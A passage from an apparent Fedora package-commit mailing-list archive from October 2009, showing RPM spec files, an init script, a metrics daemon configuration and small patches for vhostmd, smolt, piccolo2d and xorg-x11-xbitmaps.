* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 0.3-1
- New upstream version 0.3.

* Fri Aug 14 2009 Richard W.M. Jones <rjones at redhat.com> - 0.2-1
- Initial packaging for Fedora, based on SuSE package.


--- NEW FILE vhostmd.sysconfig ---
# Uncomment the following line to print verbose messages.
#VHOSTMD_VERBOSE=1

# Override the default configuration file path.
#VHOSTMD_CONFIG=/path/to/vhostmd.conf


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:24:01 -0000	1.1
+++ .cvsignore	13 Oct 2009 17:57:06 -0000	1.2
@@ -0,0 +1 @@
+vhostmd-0.4.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:24:01 -0000	1.1
+++ sources	13 Oct 2009 17:57:06 -0000	1.2
@@ -0,0 +1 @@
+3e96ae064b7accaea68160d48379c92f  vhostmd-0.4.tar.bz2



From rjones at fedoraproject.org  Tue Oct 13 17:57:10 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Tue, 13 Oct 2009 17:57:10 +0000 (UTC)
Subject: rpms/vhostmd/devel
	0001-Further-changes-to-avoid-using-xenstore.patch, 
	NONE, 1.1 import.log, NONE, 1.1 vhostmd.conf, NONE,
	1.1 vhostmd.init, NONE, 1.1 vhostmd.spec, NONE,
	1.1 vhostmd.sysconfig, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091013175710.B027011C00E8@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/vhostmd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18008/devel

Modified Files:
	.cvsignore sources 
Added Files:
	0001-Further-changes-to-avoid-using-xenstore.patch import.log 
	vhostmd.conf vhostmd.init vhostmd.spec vhostmd.sysconfig 
Log Message:
Initial import.


0001-Further-changes-to-avoid-using-xenstore.patch:
 test/Makefile.am            |   10 ++++++++--
 vm-dump-metrics/Makefile.am |    6 ++++--
 2 files changed, 12 insertions(+), 4 deletions(-)

--- NEW FILE 0001-Further-changes-to-avoid-using-xenstore.patch ---
>From c0cbeed281739194adfb9c43d01197a4f84d8d95 Mon Sep 17 00:00:00 2001
From: Richard Jones <rjones at redhat.com>
Date: Tue, 13 Oct 2009 11:18:49 +0100
Subject: [PATCH] Further changes to avoid using xenstore.

We missed two more places where libxenstore is used.  This commit
changes the Makefiles to not link to xenstore when --without-xenstore
is given.
---
 test/Makefile.am            |   10 ++++++++--
 vm-dump-metrics/Makefile.am |    5 ++++-
 2 files changed, 12 insertions(+), 3 deletions(-)

diff --git a/test/Makefile.am b/test/Makefile.am
index 42e6a59..fd2cd60 100644
--- a/test/Makefile.am
+++ b/test/Makefile.am
@@ -5,7 +5,10 @@ INCLUDES = \
 noinst_PROGRAMS = test_static test_dyn
 
 test_static_SOURCES = main.c
-test_static_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS) -lxenstore
+test_static_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS)
+if WITH_XENSTORE
+test_static_LDADD += -lxenstore
+endif
 
 test_static_DEPENDENCIES = \
     ../libmetrics/libmetrics.h \
@@ -13,7 +16,10 @@ test_static_DEPENDENCIES = \
 
 test_dyn_SOURCES = main.c
 test_dyn_CFLAGS = -DUSE_DL_OPEN
-test_dyn_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS) -lxenstore
+test_dyn_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS)
+if WITH_XENSTORE
+test_dyn_LDADD += -lxenstore
+endif
 
 test_dyn_DEPENDENCIES = \
     ../libmetrics/libmetrics.h \
diff --git a/vm-dump-metrics/Makefile.am b/vm-dump-metrics/Makefile.am
index c29a4cd..0cde35d 100644
--- a/vm-dump-metrics/Makefile.am
+++ b/vm-dump-metrics/Makefile.am
@@ -8,8 +8,11 @@ endif
 
 sbin_PROGRAMS = vm-dump-metrics
 vm_dump_metrics_SOURCES = main.c
-vm_dump_metrics_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS) -lxenstore
+vm_dump_metrics_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS)
 vm_dump_metrics_LDFLAGS = -static
+if WITH_XENSTORE
+vm_dump_metrics_LDADD += -lxenstore
+endif
 
 vm_dump_metrics_DEPENDENCIES = \
     ../libmetrics/libmetrics.h \
-- 
1.6.2.5



--- NEW FILE import.log ---
vhostmd-0_4-0_1_git326f0012172_fc11:HEAD:vhostmd-0.4-0.1.git326f0012172.fc11.src.rpm:1255456588


--- NEW FILE vhostmd.conf ---
<?xml version="1.0" ?>
<!DOCTYPE vhostmd SYSTEM "vhostmd.dtd">

<!--

Configuration file for virtual host metrics daemon (vhostmd).

A better, less noisy, more minimal configuration file
which doesn't depend on Xen.

Supported metric types are: int32, uint32, int64, uint64, real32,
real64, and string.

A metric's value is set to the output produced by executing its action.

'action' can include the special token NAME, in which case the name of
the vm currently under inspection is substituted for NAME.  Only useful
within the vm element.

-->

<vhostmd>
  <globals>
    <disk>
      <name>host-metrics-disk</name>
      <path>/dev/shm/vhostmd0</path>
      <!-- must be between [128 KB, 256 MB] in size -->
      <size unit="k">256</size>
    </disk>
    <update_period>60</update_period>
    <path>/bin:/sbin:/usr/bin:/usr/sbin:/usr/share/vhostmd/scripts</path>
    <transport>vbd</transport>
    <!-- <transport>xenstore</transport> -->
  </globals>
  <metrics>
    <metric type="string" context="host">
      <name>HostName</name>
      <action>hostname</action>
    </metric>
    <metric type="string" context="host">
      <name>VirtualizationVendor</name>
      <action>echo Fedora</action>
    </metric>
    <metric type="string" context="host">
      <name>VirtualizationProductInfo</name>
      <action>virsh version | grep API | gawk -F': ' '{print $2}'</action>
    </metric>
    <metric type="uint32" context="host">
      <name>TotalPhyCPUs</name>
      <action>virsh nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
    </metric>
    <metric type="uint32" context="host">
      <name>NumCPUs</name>
      <action>virsh nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
    </metric>
    <metric type="uint64" context="host">
      <name>TotalPhyMem</name>
      <action>virsh nodeinfo | grep 'Memory size:' | gawk -F' +' '{print $3}'</action>
    </metric>
    <metric type="uint64" context="host">
      <name>UsedMem</name>
      <action>free | grep '^Mem:' | gawk '{print $3}'</action>
    </metric>
    <metric type="uint64" context="host">
      <name>FreeMem</name>
      <action>free | grep '^Mem:' | gawk '{print $4}'</action>
    </metric>
    <metric type="uint64" context="host">
      <name>PagedInMemory</name>
      <action>echo "$((`vmstat -s | gawk '/pages paged in/ {print $1}'` / 1024))"</action>
    </metric>
    <metric type="uint64" context="host">
      <name>PagedOutMemory</name>
      <action>echo "$((`vmstat -s | gawk '/pages paged out/ {print $1}'` / 1024))"</action>
    </metric>
    <metric type="group" context="host">
      <name>PageRates</name>
      <action>pagerate.pl</action>
      <variable name="PageInRate" type="uint64"/>
      <variable name="PageFaultRate" type="uint64"/>
    </metric>
    <!--<metric type="real64" context="host">
		<name>TotalCPUTime</name>
		<action>virsh dominfo 0 | sed 's/: */:/' | \
                  gawk -F: '/CPU time/ {print $2;}'</action>
    </metric>-->
    <metric type="real64" context="vm">
      <name>TotalCPUTime</name>
      <action>virsh dominfo NAME | sed 's/: */:/' | \
        gawk -F: '/CPU time/ {print $2;}'</action>
    </metric>
  </metrics>
</vhostmd>


--- NEW FILE vhostmd.init ---
#!/bin/sh
#
# vhostmd: Virtualization host metrics daemon
#
# chkconfig:   - 98 02
# description: This daemon allows access to host information from guests.

### BEGIN INIT INFO
# Provides: vhostmd
# Required-Start: libvirtd
# Required-Stop: libvirtd
# Default-Stop: 
# Short-Description: Virtualization host metrics daemon
# Description: This daemon allows access to host information from guests.
### END INIT INFO

# Source function library.
. /etc/rc.d/init.d/functions

exec=/usr/sbin/vhostmd
prog=vhostmd
config=/etc/vhostmd/vhostmd.conf

[ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog

ARGS=
if [ -n "$VHOSTMD_VERBOSE" ]; then
    ARGS="$ARGS --verbose"
fi
if [ -n "$VHOSTMD_CONFIG" ]; then
    ARGS="$ARGS --config $VHOSTMD_CONFIG"
fi

lockfile=/var/lock/subsys/$prog

start() {
    [ -x $exec ] || exit 5
    [ -f $config ] || exit 6
    echo -n $"Starting $prog: "
    daemon $exec $ARGS
    retval=$?
    echo
    [ $retval -eq 0 ] && touch $lockfile
    return $retval
}

stop() {
    echo -n $"Stopping $prog: "
    killproc $prog
    rm -f /var/run/$prog.pid
    retval=$?
    echo
    [ $retval -eq 0 ] && rm -f $lockfile
    return $retval
}

restart() {
    stop
    start
}

reload() {
    restart
}

force_reload() {
    restart
}

rh_status() {
    status $prog
}

rh_status_q() {
    rh_status >/dev/null 2>&1
}


case "$1" in
    start)
        rh_status_q && exit 0
        $1
        ;;
    stop)
        rh_status_q || exit 0
        $1
        ;;
    restart)
        $1
        ;;
    reload)
        rh_status_q || exit 7
        $1
        ;;
    force-reload)
        force_reload
        ;;
    status)
        rh_status
        ;;
    condrestart|try-restart)
        rh_status_q || exit 0
        restart
        ;;
    *)
        echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload}"
        exit 2
esac
exit $?


--- NEW FILE vhostmd.spec ---
# Xen is only available on a limited number of architectures
%ifarch %{ix86} x86_64 ia64
%global have_xen 1
%else
%global have_xen 0
%endif

Summary:       Virtualization host metrics daemon
Name:          vhostmd
Version:       0.4
Release:       0.1.git326f0012172%{?dist}
License:       GPLv2+
Group:         System Environment/Daemons
BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root

URL:           http://gitorious.org/vhostmd

# Upstream tarball hosting is screwed at the moment.  This release is
# a pre-release of 0.4, based on git 326f00121729760c0236ef1b56b905f85470c740
# with 'make dist' done by the packager.
Source0:       vhostmd-%{version}.tar.bz2
Source1:       vhostmd.init
Source2:       vhostmd.sysconfig
Source3:       vhostmd.conf

# Fix --without-xenstore option.  Patch posted upstream on 2009-10-13.
Patch0:        0001-Further-changes-to-avoid-using-xenstore.patch

BuildRequires: chrpath
BuildRequires: pkgconfig
BuildRequires: libxml2-devel
BuildRequires: libvirt-devel

# Used when we are patching autotools configuration.
BuildRequires: automake, autoconf, libtool

%if %{have_xen}
BuildRequires: xen-devel
%endif

Requires(post): chkconfig
Requires(preun): chkconfig
Requires(preun): initscripts
Requires(postun): initscripts


%description 
vhostmd provides a "metrics communication channel" between a host and
its hosted virtual machines, allowing limited introspection of host
resource usage from within virtual machines.


%package -n    vm-dump-metrics
Summary:       Virtualization host metrics dump 
Group:         Applications/System


%description -n vm-dump-metrics
Executable to dump all available virtualization host metrics to stdout
or a file.


%package -n    vm-dump-metrics-devel
Summary:       Virtualization host metrics dump development 
Group:         Development/Libraries
Requires:      vm-dump-metrics = %{version}
Requires:      pkgconfig


%description -n vm-dump-metrics-devel
Header and libraries necessary for metrics gathering development


%prep
%setup -q

%patch0 -p1
./autogen.sh


%build
%configure \
%if %{have_xen} == 0
  --without-xenstore \
%endif
  --enable-shared --disable-static
make %{_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT

make DESTDIR=$RPM_BUILD_ROOT install

mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/init.d
install -m 0755 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/init.d/%{name}

mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
install -m 0644 %{SOURCE2} $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig/%{name}

#rm $RPM_BUILD_ROOT%{_libdir}/libmetrics.a
rm $RPM_BUILD_ROOT%{_libdir}/libmetrics.la

chrpath --delete $RPM_BUILD_ROOT%{_sbindir}/vm-dump-metrics

# Remove docdir - we'll make a proper one ourselves.
rm -r $RPM_BUILD_ROOT%{_docdir}/vhostmd

# Remove metric.dtd from /etc.
rm $RPM_BUILD_ROOT%{_sysconfdir}/vhostmd/metric.dtd

# The default configuration file is great for Xen, not so great
# for anyone else.  Replace it with one which is better for libvirt
# users.
mv $RPM_BUILD_ROOT%{_sysconfdir}/vhostmd/vhostmd.conf \
   $RPM_BUILD_ROOT%{_sysconfdir}/vhostmd/vhostmd.conf.for.xen
cp %{SOURCE3} $RPM_BUILD_ROOT%{_sysconfdir}/vhostmd/vhostmd.conf


%clean
rm -rf $RPM_BUILD_ROOT


%post
/sbin/chkconfig --add vhostmd


%preun
if [ $1 = 0 ] ; then
  /sbin/service vhostmd stop >/dev/null 2>&1
  /sbin/chkconfig --del vhostmd
fi


%postun
if [ "$1" -ge "1" ] ; then
  /sbin/service vhostmd condrestart >/dev/null 2>&1 || :
fi


%post -n vm-dump-metrics -p /sbin/ldconfig


%postun -n vm-dump-metrics -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING README
%doc mdisk.xml metric.dtd vhostmd.dtd vhostmd.xml

%{_sbindir}/vhostmd

%dir %{_sysconfdir}/vhostmd
%config(noreplace) %{_sysconfdir}/vhostmd/vhostmd.conf
%config(noreplace) %{_sysconfdir}/vhostmd/vhostmd.conf.for.xen
%config %{_sysconfdir}/vhostmd/vhostmd.dtd
%{_sysconfdir}/init.d/%{name}
%config(noreplace) %{_sysconfdir}/sysconfig/%{name}

%dir %{_datadir}/vhostmd
%dir %{_datadir}/vhostmd/scripts
%{_datadir}/vhostmd/scripts/pagerate.pl

%{_mandir}/man8/vhostmd.8.gz


%files -n vm-dump-metrics
%defattr(-,root,root,-)
%doc COPYING
%{_sbindir}/vm-dump-metrics
%{_libdir}/libmetrics.so.0
%{_libdir}/libmetrics.so.0.0.0
%{_mandir}/man1/vm-dump-metrics.1.gz


%files -n vm-dump-metrics-devel
%defattr(-,root,root,-)
%doc README
%{_libdir}/libmetrics.so
%dir %{_includedir}/vhostmd
%{_includedir}/vhostmd/libmetrics.h


%changelog
* Tue Oct 13 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.1.git326f0012172
- Move to pre-release of 0.4, self-built tarball.
- Disable xenstore on non-x86 platforms.
- Add patch to fix --without-xenstore option.
- Use have_xen RPM macro.

* Mon Oct 12 2009 Richard W.M. Jones <rjones at redhat.com> - 0.3-3
- Remove metric.dtd file from /etc (fixes rpmlint warning), but
  vhostmd.dtd has to remain because it is needed to validate the
  XML configuration file.
- Remove ExclusiveArch, instead conditionally depend on xen-devel.
- Use a better, less noisy, more minimal configuration file which
  doesn't depend on Xen.

* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 0.3-1
- New upstream version 0.3.

* Fri Aug 14 2009 Richard W.M. Jones <rjones at redhat.com> - 0.2-1
- Initial packaging for Fedora, based on SuSE package.


--- NEW FILE vhostmd.sysconfig ---
# Uncomment the following line to print verbose messages.
#VHOSTMD_VERBOSE=1

# Override the default configuration file path.
#VHOSTMD_CONFIG=/path/to/vhostmd.conf


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:24:01 -0000	1.1
+++ .cvsignore	13 Oct 2009 17:57:10 -0000	1.2
@@ -0,0 +1 @@
+vhostmd-0.4.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:24:01 -0000	1.1
+++ sources	13 Oct 2009 17:57:10 -0000	1.2
@@ -0,0 +1 @@
+3e96ae064b7accaea68160d48379c92f  vhostmd-0.4.tar.bz2



From mmcgrath at fedoraproject.org  Tue Oct 13 17:58:46 2009
From: mmcgrath at fedoraproject.org (Mike McGrath)
Date: Tue, 13 Oct 2009 17:58:46 +0000 (UTC)
Subject: rpms/smolt/devel
	0001-Don-t-print-information-about-the-pager-when-using.patch,
	NONE, 1.1 smolt.spec, 1.77, 1.78
Message-ID: <20091013175846.913C611C00E8@cvs1.fedora.phx.redhat.com>

Author: mmcgrath

Update of /cvs/pkgs/rpms/smolt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19292

Modified Files:
	smolt.spec 
Added Files:
	0001-Don-t-print-information-about-the-pager-when-using.patch 
Log Message:
removing useless info about the pager

0001-Don-t-print-information-about-the-pager-when-using.patch:
 sendProfile.py |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE 0001-Don-t-print-information-about-the-pager-when-using.patch ---
>From bbcac174a9392c3b3ed3facd3a5e79b754469759 Mon Sep 17 00:00:00 2001
From: Mike McGrath <mmcgrath at redhat.com>
Date: Tue, 13 Oct 2009 12:57:27 -0500
Subject: [PATCH] Don't print information about the pager when using -p

---
 client/sendProfile.py |    3 ++-
 1 files changed, 2 insertions(+), 1 deletions(-)

diff --git a/client/sendProfile.py b/client/sendProfile.py
index dcf60a3..80f2c37 100644
--- a/client/sendProfile.py
+++ b/client/sendProfile.py
@@ -165,7 +165,8 @@ if opts.scanOnly:
 if not opts.autoSend:
     if opts.printOnly:
         for line in profile.getProfile():
-            print line
+            if not line.startswith('#'):
+                print line
         sys.exit(0)
 
     def inner_indent(text):
-- 
1.6.2.5



Index: smolt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/smolt/devel/smolt.spec,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- smolt.spec	13 Oct 2009 17:47:58 -0000	1.77
+++ smolt.spec	13 Oct 2009 17:58:46 -0000	1.78
@@ -2,7 +2,7 @@ Name: smolt
 
 Summary: Fedora hardware profiler
 Version: 1.4
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2+
 Group: Applications/Internet
 URL: http://fedorahosted.org/smolt
@@ -10,6 +10,7 @@ Source: https://fedorahosted.org/release
 Patch0: 0001-Client-Hopefully-fix-encoding-trouble.patch
 Patch1: 0001-rhpl.iconv-is-not-required-anymore-by-firstboot.patch
 Patch2: 0002-fixes-the-p-option.patch
+Patch3: 0001-Don-t-print-information-about-the-pager-when-using.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires: dbus-python, python-urlgrabber, gawk, python-paste
@@ -74,6 +75,7 @@ ensure that deps are kept small.
 %patch0 -p1
 %patch1 -p1
 %patch2 -p1
+%patch3 -p1
 
 %build
 cd client/
@@ -213,7 +215,7 @@ touch --no-create %{_datadir}/icons/hico
 %{_bindir}/smoltGui
 
 %changelog
-* Tue Oct 13 2009 Mike McGrath <mmcgrath at redhat.com> 1.4-3
+* Tue Oct 13 2009 Mike McGrath <mmcgrath at redhat.com> 1.4-4
 - Fixing firstboot for F-12
 
 * Mon Sep 21 2009 Mike McGrath <mmcgrath at redhat.com> 1.4-2



From akurtakov at fedoraproject.org  Tue Oct 13 18:00:28 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Tue, 13 Oct 2009 18:00:28 +0000 (UTC)
Subject: rpms/piccolo2d/devel piccolo2d-settings.xml, NONE,
	1.1 piccolo2d.spec, 
	NONE, 1.1 fetch-piccolo2d.sh, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091013180028.4FB3111C02A1@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/piccolo2d/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20002/devel

Modified Files:
	.cvsignore sources 
Added Files:
	piccolo2d-settings.xml piccolo2d.spec fetch-piccolo2d.sh 
Log Message:
Initial import.


--- NEW FILE piccolo2d-settings.xml ---
<settings>
	<profiles>
		<profile>
			<id>JPP</id>
			<repositories>
				<repository>
					<id>internal</id>
					<layout>jpp</layout>
					<url>__JPP_URL_PLACEHOLDER__</url>
				</repository>
				<repository>
					<id>external</id>
					<layout>jpp</layout>
					<url>__JAVADIR_PLACEHOLDER__</url>
				</repository>
				<repository>
					<id>local</id>
					<layout>jpp</layout>
					<url>__MAVENREPO_DIR_PLACEHOLDER__</url>
				</repository>
			</repositories>
			<pluginRepositories>
				<pluginRepository>
					<id>plugins-internal</id>
					<name>plugins-internal</name>
					<layout>jpp</layout>
					<url>__JPP_URL_PLACEHOLDER__</url>
				</pluginRepository>
				<pluginRepository>
					<id>plugins-external</id>
					<name>plugins-external</name>
					<layout>jpp</layout>
					<url>__JAVADIR_PLACEHOLDER__</url>
				</pluginRepository>
				<pluginRepository>
					<id>plugins-maven</id>
					<name>plugins-maven</name>
					<layout>jpp</layout>
					<url>__MAVENDIR_PLUGIN_PLACEHOLDER__</url>
				</pluginRepository>
			</pluginRepositories>
		</profile>
	</profiles>
	<activeProfiles>
		<activeProfile>JPP</activeProfile>
	</activeProfiles>
</settings>


--- NEW FILE piccolo2d.spec ---
%global svnrev 691

Name:           piccolo2d
Version:        1.3
Release:        0.svn%{svnrev}.2%{?dist}
Summary:        Structured 2D graphics toolkit

Group:          Development/Libraries
License:        BSD
URL:            http://code.google.com/p/piccolo2d/
# Generated by sh fetch-piccolo2d.sh
Source0:        piccolo2d-1.3-svn%{svnrev}.tar.bz2
Source1:        fetch-piccolo2d.sh
Source2:        %{name}-settings.xml
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  maven-plugin-bundle
BuildRequires:  maven2-plugin-install >= 2.0.8
BuildRequires:  maven2-plugin-compiler >= 2.0.8
BuildRequires:  maven2-plugin-javadoc >= 2.0.8
BuildRequires:  maven2-plugin-jar >= 2.0.8
BuildRequires:  maven2-plugin-resources >= 2.0.8
BuildRequires:  maven-surefire-maven-plugin 
BuildRequires:  maven-surefire-provider-junit
BuildRequires:  maven-doxia-sitetools
BuildRequires:  java-1.6.0-openjdk-devel
BuildRequires:  eclipse-swt

Requires: eclipse-swt

BuildArch: noarch


%description
A revolutionary way to create robust, full-featured graphical
applications in Java with striking visual effects such
as zooming, animation and multiple representations.

%package javadoc
Group:          Documentation
Summary:        Javadoc for %{name}

%description javadoc
API documentation for %{name}.

%prep
%setup -q -n piccolo2d.java

mkdir -p .m2/repository/swt/swt-win32
ln -s %{_libdir}/java/swt.jar .m2/repository/swt/swt-win32.jar

mkdir external_repo
ln -s %{_javadir} external_repo/JPP

cp %{SOURCE2} settings.xml
sed -i -e "s|<url>__JPP_URL_PLACEHOLDER__</url>|<url>file://`pwd`/.m2/repository</url>|g" settings.xml
sed -i -e "s|<url>__JAVADIR_PLACEHOLDER__</url>|<url>file://`pwd`/external_repo</url>|g" settings.xml
sed -i -e "s|<url>__MAVENREPO_DIR_PLACEHOLDER__</url>|<url>file://`pwd`/.m2/repository</url>|g" settings.xml

%build
export MAVEN_REPO_LOCAL=$(pwd)/.m2/repository
mvn-jpp \
        -e \
        -s settings.xml \
        -Dmaven2.jpp.mode=true \
        -Dmaven.repo.local=$MAVEN_REPO_LOCAL \
        install javadoc:javadoc

%install
rm -rf %{buildroot}

# jars
install -d -m 0755 %{buildroot}%{_javadir}/%{name}
install -m 644 core/target/*.jar %{buildroot}%{_javadir}/%{name}/
install -m 644 extras/target/*.jar %{buildroot}%{_javadir}/%{name}/
install -m 644 swt/target/*.jar %{buildroot}%{_javadir}/%{name}/

(cd %{buildroot}%{_javadir}/%{name} && for jar in *-%{version}*; \
    do ln -sf ${jar} `echo $jar| sed "s|-%{version}-SNAPSHOT||g"`; done)

%add_to_maven_depmap org.piccolo2d piccolo2d-parent %{version} JPP piccolo2d-parent
%add_to_maven_depmap org.piccolo2d piccolo2d-core %{version} JPP piccolo2d-core
%add_to_maven_depmap org.piccolo2d piccolo2d-extras %{version} JPP piccolo2d-extras
%add_to_maven_depmap org.piccolo2d piccolo2d-swt %{version} JPP piccolo2d-swt

# poms
install -d -m 755 %{buildroot}%{_datadir}/maven2/poms
install -pm 644 parent/pom.xml \
    %{buildroot}%{_datadir}/maven2/poms/JPP.%{name}-parent.pom
install -pm 644 core/pom.xml \
    %{buildroot}%{_datadir}/maven2/poms/JPP.%{name}-core.pom
install -pm 644 extras/pom.xml \
    %{buildroot}%{_datadir}/maven2/poms/JPP.%{name}-extras.pom
install -pm 644 swt/pom.xml \
    %{buildroot}%{_datadir}/maven2/poms/JPP.%{name}-swt.pom

# javadoc
install -d -m 0755 %{buildroot}%{_javadocdir}/%{name}-%{version}
install -d -m 0755 %{buildroot}%{_javadocdir}/%{name}-%{version}/core
install -d -m 0755 %{buildroot}%{_javadocdir}/%{name}-%{version}/extras
install -d -m 0755 %{buildroot}%{_javadocdir}/%{name}-%{version}/swt
cp -pr core/target/site/api*/* %{buildroot}%{_javadocdir}/%{name}-%{version}/core
cp -pr extras/target/site/api*/* %{buildroot}%{_javadocdir}/%{name}-%{version}/extras
cp -pr swt/target/site/api*/* %{buildroot}%{_javadocdir}/%{name}-%{version}/swt
ln -s %{name}-%{version} %{buildroot}%{_javadocdir}/%{name}

%post
%update_maven_depmap

%postun
%update_maven_depmap

%clean
%{__rm} -rf %{buildroot}

%files
%defattr(-,root,root,-)
%{_javadir}/%{name}
%{_datadir}/maven2/poms/*
%{_mavendepmapfragdir}/*
%doc license-piccolo.txt 

%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}-%{version}
%{_javadocdir}/%{name}

%changelog
* Fri Oct 9 2009 Alexander Kurtakov <akurtako at redhat.com> 1.3-0.svn691.2
- Add %%doc.

* Fri Oct 9 2009 Alexander Kurtakov <akurtako at redhat.com> 1.3-0.svn691.1
- Remove umlgraph patch, no longer needed.
- Make fetch script retrieve exact version.

* Fri Oct 9 2009 Alexander Kurtakov <akurtako at redhat.com> 1.3-0.svn689
- Initial package.


--- NEW FILE fetch-piccolo2d.sh ---
#! /bin/sh

svnrev=691

mkdir temp
cd temp

svn export -r $svnrev http://piccolo2d.googlecode.com/svn/piccolo2d.java/trunk piccolo2d.java

tar cjf piccolo2d-1.3-svn$svnrev.tar.bz2 piccolo2d.java



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/piccolo2d/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:28:50 -0000	1.1
+++ .cvsignore	13 Oct 2009 18:00:25 -0000	1.2
@@ -0,0 +1 @@
+piccolo2d-1.3-svn691.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/piccolo2d/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:28:50 -0000	1.1
+++ sources	13 Oct 2009 18:00:25 -0000	1.2
@@ -0,0 +1 @@
+c15874ada34a225b76846673c1256fc7  piccolo2d-1.3-svn691.tar.bz2



From ajax at fedoraproject.org  Tue Oct 13 18:02:09 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 18:02:09 +0000 (UTC)
Subject: rpms/xorg-x11-xbitmaps/devel .cvsignore, 1.5, 1.6 sources, 1.5,
	1.6 xorg-x11-xbitmaps.spec, 1.20, 1.21
Message-ID: <20091013180209.775D811C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-xbitmaps/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21046

Modified Files:
	.cvsignore sources xorg-x11-xbitmaps.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.1.0-1
- xbitmaps 1.1.0
- BuildArch: noarch



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-xbitmaps/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	31 Jan 2006 15:39:04 -0000	1.5
+++ .cvsignore	13 Oct 2009 18:02:09 -0000	1.6
@@ -1 +1 @@
-xbitmaps-1.0.1.tar.bz2
+xbitmaps-1.1.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-xbitmaps/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	31 Jan 2006 15:39:04 -0000	1.5
+++ sources	13 Oct 2009 18:02:09 -0000	1.6
@@ -1 +1 @@
-b28a9840cde3c38d7c09716372fea257  xbitmaps-1.0.1.tar.bz2
+f9ddd4e70a5375508b3acaf17be0d0ab  xbitmaps-1.1.0.tar.bz2


Index: xorg-x11-xbitmaps.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-xbitmaps/devel/xorg-x11-xbitmaps.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- xorg-x11-xbitmaps.spec	27 Jul 2009 08:38:18 -0000	1.20
+++ xorg-x11-xbitmaps.spec	13 Oct 2009 18:02:09 -0000	1.21
@@ -4,12 +4,13 @@
 
 Summary: X.Org X11 application bitmaps
 Name: xorg-x11-%{pkgname}
-Version: 1.0.1
-Release: 9%{?dist}
+Version: 1.1.0
+Release: 1%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildArch: noarch
 
 Source0: ftp://ftp.x.org/pub/individual/data/xbitmaps-%{version}.tar.bz2
 
@@ -23,8 +24,9 @@ X.Org X11 application bitmaps
